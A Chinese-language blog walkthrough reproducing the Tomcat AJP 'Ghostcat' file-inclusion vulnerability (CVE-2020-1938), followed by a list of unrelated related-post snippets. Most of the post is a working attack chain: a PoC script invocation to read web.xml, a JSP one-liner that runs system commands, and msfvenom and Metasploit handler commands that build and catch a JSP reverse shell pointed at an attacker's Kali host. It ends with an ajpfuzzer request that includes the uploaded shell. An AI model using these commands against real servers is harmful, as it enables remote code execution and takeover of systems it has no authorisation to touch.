漏洞描述(后期跟进漏洞分析)

Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。

CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。

影响版本(Tomcat停止维护)

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

漏洞复现

本次复现环境

复现:读取文件

python2 ./CNVD---Tomcat-Ajp-lfi.py -p  192.168.123.173 -f /WEB-INF/web.xml

复现:文件包含漏洞

(环境假设,存在文件上传(路径可控),通过上传木马文件,反弹shell)

一、上传一句话执行命令

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

使用poc解析文件,执行命令

python3 ./-.py -f /WEB-INF/.txt 192.168.123.173 --rce 

二、通过MSF生成shell

*1 利用ajpfuzzer_v0.6解析反弹shell

下载AJP包构造器ajpfuzzer

https://github.com/doyensec/ajpfuzzer/releases

使用MSF生成一个.png的shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=kali_IP LPORT= R >shell.png

设置监听

use exploit(multi/handler)
set LHOST 本机IP
set LPORT
set payload java/jsp_shell_reverse_tcp

然后执行木马文件(目录随便创的)

java -jar ajpfuzzer_v0..jar
connect 1270.0.
forwardrequest "HTTP/1.1" "/11.jsp" 127.0.0.1 127.0.0.1 porto false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/t/22/ma.png","javax.servlet.include.servlet_path:/"

现在kaili运行,在执行第三条命令

*2、使用poc反弹shell

还是用msf生成shell文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=Kali_IP LPORT= > shell.txt

Kali设置监听

先运行MSF,再去执行shell进行反弹

参考

https://www.secfree.com/17211.html

https://blog.csdn.net/sun1318578251/article/details/104433346

非常感谢!!!

CVE-2020-1938/CNVD-2020-10487 幽灵猫漏洞的更多相关文章

  1. Photoshop CC 2020 (PS 2020)改变与新功能

    Adobe Photoshop CC 2020中文版新增相机防抖动功能.CameraRAW 功能改进.图像提升采样.属性面板改进.Behance集成等功能,以及同步设置和其他更多有用的功能.ps202 ...

  2. 2020/1/30 PHP代码审计之CSRF漏洞

    0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...

  3. 2020/1/29 PHP代码审计之XSS漏洞

    0x00 XSS漏洞简介 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆.因此,有 ...

  4. Round 1A 2020 - Code Jam 2020

    Problem A. Pattern Matching 把每个字符串分成第一个之前,最后一个之后,中间的部分 三个部分 每个字符串的中间的部分可以直接拼接 前后两个部分需要判断下是否合法 #inclu ...

  5. GHOST(幽灵)重大漏洞

    cd /usr/local/srcwget https://webshare.uchicago.edu/orgs/ITServices/itsec/Downloads/GHOST.cgcc GHOST ...

  6. # 记一次Tomcat升级——幽灵猫

    一.背景 近日Tomcat被爆出幽灵猫漏洞,覆盖的版本从6-9全部中招,因此升级是当前能做的手段,那么就来说一下SpringBoot内置的Tomcat如何升级. 二.升级过程 1 下载对应的版本 To ...

  7. 2020年AI、CV、NLP顶会最全时间表

    2020年AI.CV.NLP顶会最全时间表 2019-09-01 14:04:19 weixin_38753768 阅读数 40   2020 AI.CV.NLP主流会议时间表,包含会议举办的时间.地 ...

  8. 阿里巴巴java开发手册(2020版)

    阿里巴巴java开发手册(2020版) 2020版 链接: pan.baidu.com/s/1Zls_FUBK- 密码: titz 2019版 链接: pan.baidu.com/s/1cvCVQvj ...

  9. AIoT 2020 年分析

    AIoT 2020 年分析 2020年,从智能手机到智能手表,从智能摄像头到智能汽车,随着AI.芯片.云计算.通信等基础技术的逐渐成熟,又一个行业来到了历史性的时刻--AIoT. 从"万物互 ...

随机推荐

  1. 在一个Activity中循环使用一组RadioGroup

    一个activity是用来做题用的,效果如下图 在点击下一题时,RadioGroup会默认为第一次选中的状态,造成RadioButton选择混. 解决方案: 第一步:取消监听 radioGroup_p ...

  2. centos7安装OTRS6

    1.在文件/etc/selinux/config中配置SELINUX=disabled 重启系统.重启后确认命令getenforce返回为Disabled 2.配置数据库 我们这里使用MariaDB ...

  3. sockaddr与sockaddr_in的关系

    WIN7+VS2013 sockaddr // // Structure used to store most addresses. // typedef struct sockaddr { #if ...

  4. Spring基础(一)_控制反转(IOC)

    Spring-IOC 1.简述 1.1 依赖注入DI 现实开发中,每一个应用都会由两个或多个类组成,这些类之间相互协作完成特定的业务逻辑.根据传统做法,每个对象负责管理与自己协作的对象的引用(也就是, ...

  5. lua学习之类型与值篇

    类型与值 lua 是动态类型的语言 在语言中没有类型定义的语法 每个值都携带有它的类型信息 8种基础类型 用 type 可以返回这个值的类型的名称 将一个变量用于不同类型,通常会导致混乱的代码 但合理 ...

  6. Codeforces 977D Divide by three, multiply by two(拓扑排序)

      Polycarp likes to play with numbers. He takes some integer number xx, writes it down on the board, ...

  7. 并发编程的基石——AQS类

    本博客系列是学习并发编程过程中的记录总结.由于文章比较多,写的时间也比较散,所以我整理了个目录贴(传送门),方便查阅. 并发编程系列博客传送门 本文参考了[Java多线程进阶(六)-- J.U.C之l ...

  8. Python3(十二) Pythonic与Python杂记

    一.用字典映射代替switch case语句 if/else可以代替switch但是非常不合适. 用字典代替switch: day = 5 switcher = { 0:'Sunday', 1:'Mo ...

  9. docker-enter 安装

    github : https://github.com/sequenceiq/docker-enter [root@localhost ~]# docker run --rm -v /usr/loca ...

  10. Linux的那些事-系统启动(增加开机启动项)

    1   /etc/init.d 2   /etc/inittab 3   /etc/rc.d/init.d  1.   /etc/init.d 是一般开机的启动服务存放在这个目录下,至于实现机制,其实 ...